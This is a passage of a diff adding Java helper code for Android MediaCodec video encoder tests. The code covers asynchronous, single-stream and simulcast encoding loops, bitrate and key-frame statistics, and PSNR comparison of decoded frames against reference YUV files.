+                    mOutputFrameIndex++;
+                    mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
+                }
+                mCodec.releaseOutputBuffer(outputBufIndex, false);
+
+                mOutput.flags = mBufferInfo.flags;
+                mOutput.outputGenerated = true;
+            }
+            mCallbackReceived = false;
+        }
+
+        public MediaEncoderOutput getOutput() throws Exception {
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    getOutputInternal();
+                    return null;
+                }
+            } );
+            return mOutput;
+        }
+
+        public void forceSyncFrame() throws Exception {
+            final Bundle syncFrame = new Bundle();
+            syncFrame.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0);
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    mCodec.setParameters(syncFrame);
+                    return null;
+                }
+            } );
+        }
+
+        public void updateBitrate(int bitrate) throws Exception {
+            final Bundle bitrateUpdate = new Bundle();
+            bitrateUpdate.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, bitrate);
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    mCodec.setParameters(bitrateUpdate);
+                    return null;
+                }
+            } );
+        }
+
+
+        public void waitForBufferEvent() throws Exception {
+            Log.v(TAG, "----Enc" + mId + " waiting for bufferEvent");
+            if (mAsync) {
+                synchronized (mCallbackEvent) {
+                    if (!mCallbackReceived) {
+                        mCallbackEvent.wait(1000); // wait 1 sec for a callback
+                        // throw an exception if callback was not received
+                        if (!mCallbackReceived) {
+                            throw new RuntimeException("MediaCodec callback was not received");
+                        }
+                    }
+                }
+            } else {
+                Thread.sleep(5);
+            }
+            Log.v(TAG, "----Waiting for bufferEvent done");
+        }
+
+
+        public void waitForCompletion(long timeoutMs) throws Exception {
+            synchronized (mCompletionEvent) {
+                long timeoutExpiredMs = System.currentTimeMillis() + timeoutMs;
+
+                while (!mCompleted) {
+                    mCompletionEvent.wait(timeoutExpiredMs - System.currentTimeMillis());
+                    if (System.currentTimeMillis() >= timeoutExpiredMs) {
+                        throw new RuntimeException("encoding has timed out!");
+                    }
+                }
+            }
+        }
+
+        public void signalCompletion() {
+            synchronized (mCompletionEvent) {
+                mCompleted = true;
+                mCompletionEvent.notify();
+            }
+        }
+
+        public void deleteCodec() throws Exception {
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    mCodec.stop();
+                    mCodec.release();
+                    return null;
+                }
+            } );
+            if (mAsync) {
+                requestStop(); // Stop looper thread
+            }
+        }
+    }
+
+    /**
+     * Video encoding loop supporting encoding single streams with an option
+     * to run in a looper thread and use buffer ready notification callbacks.
+     *
+     * Output stream is described by encodingParams parameters.
+     *
+     * MediaCodec will raise an IllegalStateException
+     * whenever video encoder fails to encode a frame.
+     *
+     * Color format of input file should be YUV420, and frameWidth,
+     * frameHeight should be supplied correctly as raw input file doesn't
+     * include any header data.
+     *
+     * @param streamParams  Structure with encoder parameters
+     * @return              Returns array of encoded frames information for each frame.
+     */
+    protected ArrayList<MediaCodec.BufferInfo> encode(
+            EncoderOutputStreamParameters streamParams) throws Exception {
+
+        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
+                streamParams.frameHeight);
+        int bitrate = streamParams.bitrateSet[0];
+
+        // Create minimal media format signifying desired output.
+        MediaFormat format = MediaFormat.createVideoFormat(
+                streamParams.codecMimeType, streamParams.frameWidth,
+                streamParams.frameHeight);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        CodecProperties properties = getVideoCodecProperties(
+                true, format, streamParams.forceGoogleEncoder);
+        if (properties == null) {
+            return null;
+        }
+
+        // Open input/output
+        InputStream yuvStream = OpenFileOrResourceId(
+                streamParams.inputYuvFilename, streamParams.inputResourceId);
+        IvfWriter ivf = new IvfWriter(
+                streamParams.outputIvfFilename, streamParams.codecMimeType,
+                streamParams.frameWidth, streamParams.frameHeight);
+
+        // Create a media format signifying desired output.
+        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
+            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+        }
+        if (streamParams.temporalLayers > 0) {
+            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
+        }
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
+        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
+                streamParams.frameRate;
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+
+        // Create encoder
+        Log.d(TAG, "Creating encoder " + properties.codecName +
+                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+                streamParams.frameWidth + " x " + streamParams.frameHeight +
+                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
+                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
+                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
+                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
+        Log.d(TAG, "  Format: " + format);
+        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
+        MediaEncoderAsync codec = new MediaEncoderAsync();
+        codec.createCodec(0, properties.codecName, format,
+                streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
+
+        // encode loop
+        boolean sawInputEOS = false;  // no more data
+        boolean consumedInputEOS = false; // EOS flag is consumed dy encoder
+        boolean sawOutputEOS = false;
+        boolean inputConsumed = true;
+        int inputFrameIndex = 0;
+        int lastBitrate = bitrate;
+        int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
+        byte[] srcFrame = new byte[srcFrameSize];
+
+        while (!sawOutputEOS) {
+
+            // Read and feed input frame
+            if (!consumedInputEOS) {
+
+                // Read new input buffers - if previous input was consumed and no EOS
+                if (inputConsumed && !sawInputEOS) {
+                    int bytesRead = yuvStream.read(srcFrame);
+
+                    // Check EOS
+                    if (streamParams.frameCount > 0 && inputFrameIndex >= streamParams.frameCount) {
+                        sawInputEOS = true;
+                        Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
+                    }
+
+                    if (!sawInputEOS && bytesRead == -1) {
+                        if (streamParams.frameCount == 0) {
+                            sawInputEOS = true;
+                            Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
+                        } else {
+                            yuvStream.close();
+                            yuvStream = OpenFileOrResourceId(
+                                    streamParams.inputYuvFilename, streamParams.inputResourceId);
+                            bytesRead = yuvStream.read(srcFrame);
+                        }
+                    }
+
+                    // Force sync frame if syncForceFrameinterval is set.
+                    if (!sawInputEOS && inputFrameIndex > 0 &&
+                            streamParams.syncForceFrameInterval > 0 &&
+                            (inputFrameIndex % streamParams.syncForceFrameInterval) == 0) {
+                        Log.d(TAG, "---Requesting sync frame # " + inputFrameIndex);
+                        codec.forceSyncFrame();
+                    }
+
+                    // Dynamic bitrate change.
+                    if (!sawInputEOS && streamParams.bitrateSet.length > inputFrameIndex) {
+                        int newBitrate = streamParams.bitrateSet[inputFrameIndex];
+                        if (newBitrate != lastBitrate) {
+                            Log.d(TAG, "--- Requesting new bitrate " + newBitrate +
+                                    " for frame " + inputFrameIndex);
+                            codec.updateBitrate(newBitrate);
+                            lastBitrate = newBitrate;
+                        }
+                    }
+
+                    // Convert YUV420 to NV12 if necessary
+                    if (properties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+                        srcFrame = YUV420ToNV(streamParams.frameWidth, streamParams.frameHeight,
+                                srcFrame);
+                    }
+                }
+
+                inputConsumed = codec.feedInput(srcFrame, sawInputEOS);
+                if (inputConsumed) {
+                    inputFrameIndex++;
+                    consumedInputEOS = sawInputEOS;
+                }
+            }
+
+            // Get output from the encoder
+            MediaEncoderOutput out = codec.getOutput();
+            if (out.outputGenerated) {
+                // Detect output EOS
+                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "----Output EOS ");
+                    sawOutputEOS = true;
+                }
+
+                if (out.buffer.length > 0) {
+                    // Save frame
+                    ivf.writeFrame(out.buffer, out.outPresentationTimeUs);
+
+                    // Update statistics - store presentation time delay in offset
+                    long presentationTimeUsDelta = out.inPresentationTimeUs -
+                            out.outPresentationTimeUs;
+                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+                            out.outPresentationTimeUs, out.flags);
+                    bufferInfos.add(bufferInfoCopy);
+                }
+            }
+
+            // If codec is not ready to accept input/poutput - wait for buffer ready callback
+            if ((!inputConsumed || consumedInputEOS) && !out.outputGenerated) {
+                codec.waitForBufferEvent();
+            }
+        }
+
+        codec.deleteCodec();
+        ivf.close();
+        yuvStream.close();
+
+        return bufferInfos;
+    }
+
+    /**
+     * Video encoding run in a looper thread and use buffer ready callbacks.
+     *
+     * Output stream is described by encodingParams parameters.
+     *
+     * MediaCodec will raise an IllegalStateException
+     * whenever video encoder fails to encode a frame.
+     *
+     * Color format of input file should be YUV420, and frameWidth,
+     * frameHeight should be supplied correctly as raw input file doesn't
+     * include any header data.
+     *
+     * @param streamParams  Structure with encoder parameters
+     * @return              Returns array of encoded frames information for each frame.
+     */
+    protected ArrayList<MediaCodec.BufferInfo> encodeAsync(
+            EncoderOutputStreamParameters streamParams) throws Exception {
+        if (!streamParams.runInLooperThread) {
+            throw new RuntimeException("encodeAsync should run with a looper thread!");
+        }
+
+        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
+                streamParams.frameHeight);
+        int bitrate = streamParams.bitrateSet[0];
+
+        // Create minimal media format signifying desired output.
+        MediaFormat format = MediaFormat.createVideoFormat(
+                streamParams.codecMimeType, streamParams.frameWidth,
+                streamParams.frameHeight);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        CodecProperties properties = getVideoCodecProperties(
+                true, format, streamParams.forceGoogleEncoder);
+        if (properties == null) {
+            return null;
+        }
+
+        // Open input/output
+        IvfWriter ivf = new IvfWriter(
+                streamParams.outputIvfFilename, streamParams.codecMimeType,
+                streamParams.frameWidth, streamParams.frameHeight);
+
+        // Create a media format signifying desired output.
+        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
+            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+        }
+        if (streamParams.temporalLayers > 0) {
+            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
+        }
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
+        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
+                streamParams.frameRate;
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+
+        // Create encoder
+        Log.d(TAG, "Creating encoder " + properties.codecName +
+                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+                streamParams.frameWidth + " x " + streamParams.frameHeight +
+                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
+                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
+                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
+                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
+        Log.d(TAG, "  Format: " + format);
+        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
+
+        MediaEncoderAsync codec = new MediaEncoderAsync();
+        MediaEncoderAsyncHelper helper = new MediaEncoderAsyncHelper(
+                streamParams, properties, bufferInfos, ivf);
+
+        codec.setAsyncHelper(helper);
+        codec.createCodec(0, properties.codecName, format,
+                streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
+        codec.waitForCompletion(DEFAULT_ENCODE_TIMEOUT_MS);
+
+        codec.deleteCodec();
+        ivf.close();
+
+        return bufferInfos;
+    }
+
+    /**
+     * Video encoding loop supporting encoding multiple streams at a time.
+     * Each output stream is described by encodingParams parameters allowing
+     * simultaneous encoding of various resolutions, bitrates with an option to
+     * control key frame and dynamic bitrate for each output stream indepandently.
+     *
+     * MediaCodec will raise an IllegalStateException
+     * whenever video encoder fails to encode a frame.
+     *
+     * Color format of input file should be YUV420, and frameWidth,
+     * frameHeight should be supplied correctly as raw input file doesn't
+     * include any header data.
+     *
+     * @param srcFrameWidth     Frame width of input yuv file
+     * @param srcFrameHeight    Frame height of input yuv file
+     * @param encodingParams    Encoder parameters
+     * @return                  Returns 2D array of encoded frames information for each stream and
+     *                          for each frame.
+     */
+    protected ArrayList<ArrayList<MediaCodec.BufferInfo>> encodeSimulcast(
+            int srcFrameWidth,
+            int srcFrameHeight,
+            ArrayList<EncoderOutputStreamParameters> encodingParams)  throws Exception {
+        int numEncoders = encodingParams.size();
+
+        // Create arrays of input/output, formats, bitrates etc
+        ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos =
+                new ArrayList<ArrayList<MediaCodec.BufferInfo>>(numEncoders);
+        InputStream yuvStream[] = new InputStream[numEncoders];
+        IvfWriter[] ivf = new IvfWriter[numEncoders];
+        FileOutputStream[] yuvScaled = new FileOutputStream[numEncoders];
+        MediaFormat[] format = new MediaFormat[numEncoders];
+        MediaEncoderAsync[] codec = new MediaEncoderAsync[numEncoders];
+        int[] inputFrameIndex = new int[numEncoders];
+        boolean[] sawInputEOS = new boolean[numEncoders];
+        boolean[] consumedInputEOS = new boolean[numEncoders];
+        boolean[] inputConsumed = new boolean[numEncoders];
+        boolean[] bufferConsumed = new boolean[numEncoders];
+        boolean[] sawOutputEOS = new boolean[numEncoders];
+        byte[][] srcFrame = new byte[numEncoders][];
+        boolean sawOutputEOSTotal = false;
+        boolean bufferConsumedTotal = false;
+        CodecProperties[] codecProperties = new CodecProperties[numEncoders];
+
+        numEncoders = 0;
+        for (EncoderOutputStreamParameters params : encodingParams) {
+            int i = numEncoders;
+            Log.d(TAG, "Source resolution: " + params.frameWidth + " x " +
+                    params.frameHeight);
+            int bitrate = params.bitrateSet[0];
+
+            // Create minimal media format signifying desired output.
+            format[i] = MediaFormat.createVideoFormat(
+                    params.codecMimeType, params.frameWidth,
+                    params.frameHeight);
+            format[i].setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+            CodecProperties properties = getVideoCodecProperties(
+                    true, format[i], params.forceGoogleEncoder);
+            if (properties == null) {
+                continue;
+            }
+
+            // Check if scaled image was created
+            int scale = params.frameWidth / srcFrameWidth;
+            if (!mScaledImages.contains(scale)) {
+                // resize image
+                cacheScaledImage(params.inputYuvFilename, params.inputResourceId,
+                        srcFrameWidth, srcFrameHeight,
+                        params.scaledYuvFilename, params.frameWidth, params.frameHeight);
+                mScaledImages.add(scale);
+            }
+
+            // Create buffer info storage
+            bufferInfos.add(new ArrayList<MediaCodec.BufferInfo>());
+
+            // Create YUV reader
+            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
+
+            // Create IVF writer
+            ivf[i] = new IvfWriter(
+                    params.outputIvfFilename, params.codecMimeType,
+                    params.frameWidth, params.frameHeight);
+
+            // Frame buffer
+            int frameSize = params.frameWidth * params.frameHeight * 3 / 2;
+            srcFrame[i] = new byte[frameSize];
+
+            // Create a media format signifying desired output.
+            if (params.bitrateType == VIDEO_ControlRateConstant) {
+                format[i].setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+            }
+            if (params.temporalLayers > 0) {
+                format[i].setInteger("ts-layers", params.temporalLayers); // 1 temporal layer
+            }
+            format[i].setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+            format[i].setInteger(MediaFormat.KEY_FRAME_RATE, params.frameRate);
+            int syncFrameInterval = (params.syncFrameInterval + params.frameRate/2) /
+                    params.frameRate; // in sec
+            format[i].setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+            // Create encoder
+            Log.d(TAG, "Creating encoder #" + i +" : " + properties.codecName +
+                    ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+                    params.frameWidth + " x " + params.frameHeight +
+                    ". Bitrate: " + bitrate + " Bitrate type: " + params.bitrateType +
+                    ". Fps:" + params.frameRate + ". TS Layers: " + params.temporalLayers +
+                    ". Key frame:" + syncFrameInterval * params.frameRate +
+                    ". Force keyFrame: " + params.syncForceFrameInterval);
+            Log.d(TAG, "  Format: " + format[i]);
+            Log.d(TAG, "  Output ivf:" + params.outputIvfFilename);
+
+            // Create encoder
+            codec[i] = new MediaEncoderAsync();
+            codec[i].createCodec(i, properties.codecName, format[i],
+                    params.timeoutDequeue, params.runInLooperThread, params.useNdk);
+            codecProperties[i] = new CodecProperties(properties.codecName, properties.colorFormat);
+
+            inputConsumed[i] = true;
+            ++numEncoders;
+        }
+        if (numEncoders == 0) {
+            Log.i(TAG, "no suitable encoders found for any of the streams");
+            return null;
+        }
+
+        while (!sawOutputEOSTotal) {
+            // Feed input buffer to all encoders
+            for (int i = 0; i < numEncoders; i++) {
+                bufferConsumed[i] = false;
+                if (consumedInputEOS[i]) {
+                    continue;
+                }
+
+                EncoderOutputStreamParameters params = encodingParams.get(i);
+                // Read new input buffers - if previous input was consumed and no EOS
+                if (inputConsumed[i] && !sawInputEOS[i]) {
+                    int bytesRead = yuvStream[i].read(srcFrame[i]);
+
+                    // Check EOS
+                    if (params.frameCount > 0 && inputFrameIndex[i] >= params.frameCount) {
+                        sawInputEOS[i] = true;
+                        Log.d(TAG, "---Enc" + i +
+                                ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
+                    }
+
+                    if (!sawInputEOS[i] && bytesRead == -1) {
+                        if (params.frameCount == 0) {
+                            sawInputEOS[i] = true;
+                            Log.d(TAG, "---Enc" + i +
+                                    ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
+                        } else {
+                            yuvStream[i].close();
+                            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
+                            bytesRead = yuvStream[i].read(srcFrame[i]);
+                        }
+                    }
+
+                    // Convert YUV420 to NV12 if necessary
+                    if (codecProperties[i].colorFormat !=
+                            CodecCapabilities.COLOR_FormatYUV420Planar) {
+                        srcFrame[i] =
+                            YUV420ToNV(params.frameWidth, params.frameHeight, srcFrame[i]);
+                    }
+                }
+
+                inputConsumed[i] = codec[i].feedInput(srcFrame[i], sawInputEOS[i]);
+                if (inputConsumed[i]) {
+                    inputFrameIndex[i]++;
+                    consumedInputEOS[i] = sawInputEOS[i];
+                    bufferConsumed[i] = true;
+                }
+
+            }
+
+            // Get output from all encoders
+            for (int i = 0; i < numEncoders; i++) {
+                if (sawOutputEOS[i]) {
+                    continue;
+                }
+
+                MediaEncoderOutput out = codec[i].getOutput();
+                if (out.outputGenerated) {
+                    bufferConsumed[i] = true;
+                    // Detect output EOS
+                    if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        Log.d(TAG, "----Enc" + i + ". Output EOS ");
+                        sawOutputEOS[i] = true;
+                    }
+
+                    if (out.buffer.length > 0) {
+                        // Save frame
+                        ivf[i].writeFrame(out.buffer, out.outPresentationTimeUs);
+
+                        // Update statistics - store presentation time delay in offset
+                        long presentationTimeUsDelta = out.inPresentationTimeUs -
+                                out.outPresentationTimeUs;
+                        MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                        bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+                                out.outPresentationTimeUs, out.flags);
+                        bufferInfos.get(i).add(bufferInfoCopy);
+                    }
+                }
+            }
+
+            // If codec is not ready to accept input/output - wait for buffer ready callback
+            bufferConsumedTotal = false;
+            for (boolean bufferConsumedCurrent : bufferConsumed) {
+                bufferConsumedTotal |= bufferConsumedCurrent;
+            }
+            if (!bufferConsumedTotal) {
+                // Pick the encoder to wait for
+                for (int i = 0; i < numEncoders; i++) {
+                    if (!bufferConsumed[i] && !sawOutputEOS[i]) {
+                        codec[i].waitForBufferEvent();
+                        break;
+                    }
+                }
+            }
+
+            // Check if EOS happened for all encoders
+            sawOutputEOSTotal = true;
+            for (boolean sawOutputEOSStream : sawOutputEOS) {
+                sawOutputEOSTotal &= sawOutputEOSStream;
+            }
+        }
+
+        for (int i = 0; i < numEncoders; i++) {
+            codec[i].deleteCodec();
+            ivf[i].close();
+            yuvStream[i].close();
+            if (yuvScaled[i] != null) {
+                yuvScaled[i].close();
+            }
+        }
+
+        return bufferInfos;
+    }
+
+    /**
+     * Some encoding statistics.
+     */
+    protected class VideoEncodingStatistics {
+        VideoEncodingStatistics() {
+            mBitrates = new ArrayList<Integer>();
+            mFrames = new ArrayList<Integer>();
+            mKeyFrames = new ArrayList<Integer>();
+            mMinimumKeyFrameInterval = Integer.MAX_VALUE;
+        }
+
+        public ArrayList<Integer> mBitrates;// Bitrate values for each second of the encoded stream.
+        public ArrayList<Integer> mFrames; // Number of frames in each second of the encoded stream.
+        public int mAverageBitrate;         // Average stream bitrate.
+        public ArrayList<Integer> mKeyFrames;// Stores the position of key frames in a stream.
+        public int mAverageKeyFrameInterval; // Average key frame interval.
+        public int mMaximumKeyFrameInterval; // Maximum key frame interval.
+        public int mMinimumKeyFrameInterval; // Minimum key frame interval.
+    }
+
+    /**
+     * Calculates average bitrate and key frame interval for the encoded streams.
+     * Output mBitrates field will contain bitrate values for every second
+     * of the encoded stream.
+     * Average stream bitrate will be stored in mAverageBitrate field.
+     * mKeyFrames array will contain the position of key frames in the encoded stream and
+     * mKeyFrameInterval - average key frame interval.
+     */
+    protected VideoEncodingStatistics computeEncodingStatistics(int encoderId,
+            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
+        VideoEncodingStatistics statistics = new VideoEncodingStatistics();
+
+        int totalSize = 0;
+        int frames = 0;
+        int framesPerSecond = 0;
+        int totalFrameSizePerSecond = 0;
+        int maxFrameSize = 0;
+        int currentSecond;
+        int nextSecond = 0;
+        String keyFrameList = "  IFrame List: ";
+        String bitrateList = "  Bitrate list: ";
+        String framesList = "  FPS list: ";
+
+
+        for (int j = 0; j < bufferInfos.size(); j++) {
+            MediaCodec.BufferInfo info = bufferInfos.get(j);
+            currentSecond = (int)(info.presentationTimeUs / 1000000);
+            boolean lastFrame = (j == bufferInfos.size() - 1);
+            if (!lastFrame) {
+                nextSecond = (int)(bufferInfos.get(j+1).presentationTimeUs / 1000000);
+            }
+
+            totalSize += info.size;
+            totalFrameSizePerSecond += info.size;
+            maxFrameSize = Math.max(maxFrameSize, info.size);
+            framesPerSecond++;
+            frames++;
+
+            // Update the bitrate statistics if the next frame will
+            // be for the next second
+            if (lastFrame || nextSecond > currentSecond) {
+                int currentBitrate = totalFrameSizePerSecond * 8;
+                bitrateList += (currentBitrate + " ");
+                framesList += (framesPerSecond + " ");
+                statistics.mBitrates.add(currentBitrate);
+                statistics.mFrames.add(framesPerSecond);
+                totalFrameSizePerSecond = 0;
+                framesPerSecond = 0;
+            }
+
+            // Update key frame statistics.
+            if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+                statistics.mKeyFrames.add(j);
+                keyFrameList += (j + "  ");
+            }
+        }
+        int duration = (int)(bufferInfos.get(bufferInfos.size() - 1).presentationTimeUs / 1000);
+        duration = (duration + 500) / 1000;
+        statistics.mAverageBitrate = (int)(((long)totalSize * 8) / duration);
+        Log.d(TAG, "Statistics for encoder # " + encoderId);
+        // Calculate average key frame interval in frames.
+        int keyFrames = statistics.mKeyFrames.size();
+        if (keyFrames > 1) {
+            statistics.mAverageKeyFrameInterval =
+                    statistics.mKeyFrames.get(keyFrames - 1) - statistics.mKeyFrames.get(0);
+            statistics.mAverageKeyFrameInterval =
+                    Math.round((float)statistics.mAverageKeyFrameInterval / (keyFrames - 1));
+            for (int j = 1; j < keyFrames; j++) {
+                int keyFrameInterval =
+                        statistics.mKeyFrames.get(j) - statistics.mKeyFrames.get(j - 1);
+                statistics.mMaximumKeyFrameInterval =
+                        Math.max(statistics.mMaximumKeyFrameInterval, keyFrameInterval);
+                statistics.mMinimumKeyFrameInterval =
+                        Math.min(statistics.mMinimumKeyFrameInterval, keyFrameInterval);
+            }
+            Log.d(TAG, "  Key frame intervals: Max: " + statistics.mMaximumKeyFrameInterval +
+                    ". Min: " + statistics.mMinimumKeyFrameInterval +
+                    ". Avg: " + statistics.mAverageKeyFrameInterval);
+        }
+        Log.d(TAG, "  Frames: " + frames + ". Duration: " + duration +
+                ". Total size: " + totalSize + ". Key frames: " + keyFrames);
+        Log.d(TAG, keyFrameList);
+        Log.d(TAG, bitrateList);
+        Log.d(TAG, framesList);
+        Log.d(TAG, "  Bitrate average: " + statistics.mAverageBitrate);
+        Log.d(TAG, "  Maximum frame size: " + maxFrameSize);
+
+        return statistics;
+    }
+
+    protected VideoEncodingStatistics computeEncodingStatistics(
+            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
+        return computeEncodingStatistics(0, bufferInfos);
+    }
+
+    protected ArrayList<VideoEncodingStatistics> computeSimulcastEncodingStatistics(
+            ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos) {
+        int numCodecs = bufferInfos.size();
+        ArrayList<VideoEncodingStatistics> statistics = new ArrayList<VideoEncodingStatistics>();
+
+        for (int i = 0; i < numCodecs; i++) {
+            VideoEncodingStatistics currentStatistics =
+                    computeEncodingStatistics(i, bufferInfos.get(i));
+            statistics.add(currentStatistics);
+        }
+        return statistics;
+    }
+
+    /**
+     * Calculates maximum latency for encoder/decoder based on buffer info array
+     * generated either by encoder or decoder.
+     */
+    protected int maxPresentationTimeDifference(ArrayList<MediaCodec.BufferInfo> bufferInfos) {
+        int maxValue = 0;
+        for (MediaCodec.BufferInfo bufferInfo : bufferInfos) {
+            maxValue = Math.max(maxValue,  bufferInfo.offset);
+        }
+        maxValue = (maxValue + 500) / 1000; // mcs -> ms
+        return maxValue;
+    }
+
+    /**
+     * Decoding PSNR statistics.
+     */
+    protected class VideoDecodingStatistics {
+        VideoDecodingStatistics() {
+            mMinimumPSNR = Integer.MAX_VALUE;
+        }
+        public double mAveragePSNR;
+        public double mMinimumPSNR;
+    }
+
+    /**
+     * Calculates PSNR value between two video frames.
+     */
+    private double computePSNR(byte[] data0, byte[] data1) {
+        long squareError = 0;
+        assertTrue(data0.length == data1.length);
+        int length = data0.length;
+        for (int i = 0 ; i < length; i++) {
+            int diff = ((int)data0[i] & 0xff) - ((int)data1[i] & 0xff);
+            squareError += diff * diff;
+        }
+        double meanSquareError = (double)squareError / length;
+        double psnr = 10 * Math.log10((double)255 * 255 / meanSquareError);
+        return psnr;
+    }
+
+    /**
+     * Calculates average and minimum PSNR values between
+     * set of reference and decoded video frames.
+     * Runs PSNR calculation for the full duration of the decoded data.
+     */
+    protected VideoDecodingStatistics computeDecodingStatistics(
+            String referenceYuvFilename,
+            int referenceYuvRawId,
+            String decodedYuvFilename,
+            int width,
+            int height) throws Exception {
+        VideoDecodingStatistics statistics = new VideoDecodingStatistics();
+        InputStream referenceStream =
+                OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
+        InputStream decodedStream = new FileInputStream(decodedYuvFilename);
+
+        int ySize = width * height;
+        int uvSize = width * height / 4;
+        byte[] yRef = new byte[ySize];
+        byte[] yDec = new byte[ySize];
+        byte[] uvRef = new byte[uvSize];
+        byte[] uvDec = new byte[uvSize];
+
+        int frames = 0;
+        double averageYPSNR = 0;
+        double averageUPSNR = 0;
+        double averageVPSNR = 0;
+        double minimumYPSNR = Integer.MAX_VALUE;
+        double minimumUPSNR = Integer.MAX_VALUE;
+        double minimumVPSNR = Integer.MAX_VALUE;
+        int minimumPSNRFrameIndex = 0;
+
+        while (true) {
+            // Calculate Y PSNR.
+            int bytesReadRef = referenceStream.read(yRef);
+            int bytesReadDec = decodedStream.read(yDec);
+            if (bytesReadDec == -1) {
+                break;
+            }
+            if (bytesReadRef == -1) {
+                // Reference file wrapping up
+                referenceStream.close();
+                referenceStream =
+                        OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
+                bytesReadRef = referenceStream.read(yRef);
+            }
+            double curYPSNR = computePSNR(yRef, yDec);
+            averageYPSNR += curYPSNR;
+            minimumYPSNR = Math.min(minimumYPSNR, curYPSNR);
+            double curMinimumPSNR = curYPSNR;
+
+            // Calculate U PSNR.
+            bytesReadRef = referenceStream.read(uvRef);
+            bytesReadDec = decodedStream.read(uvDec);
+            double curUPSNR = computePSNR(uvRef, uvDec);
+            averageUPSNR += curUPSNR;
+            minimumUPSNR = Math.min(minimumUPSNR, curUPSNR);
+            curMinimumPSNR = Math.min(curMinimumPSNR, curUPSNR);
+
+            // Calculate V PSNR.
+            bytesReadRef = referenceStream.read(uvRef);
+            bytesReadDec = decodedStream.read(uvDec);
+            double curVPSNR = computePSNR(uvRef, uvDec);
+            averageVPSNR += curVPSNR;
+            minimumVPSNR = Math.min(minimumVPSNR, curVPSNR);
+            curMinimumPSNR = Math.min(curMinimumPSNR, curVPSNR);
+
+            // Frame index for minimum PSNR value - help to detect possible distortions
+            if (curMinimumPSNR < statistics.mMinimumPSNR) {
+                statistics.mMinimumPSNR = curMinimumPSNR;
+                minimumPSNRFrameIndex = frames;
+            }
+
+            String logStr = String.format(Locale.US, "PSNR #%d: Y: %.2f. U: %.2f. V: %.2f",
+                    frames, curYPSNR, curUPSNR, curVPSNR);
+            Log.v(TAG, logStr);
+
+            frames++;
+        }
+
+        averageYPSNR /= frames;
+        averageUPSNR /= frames;
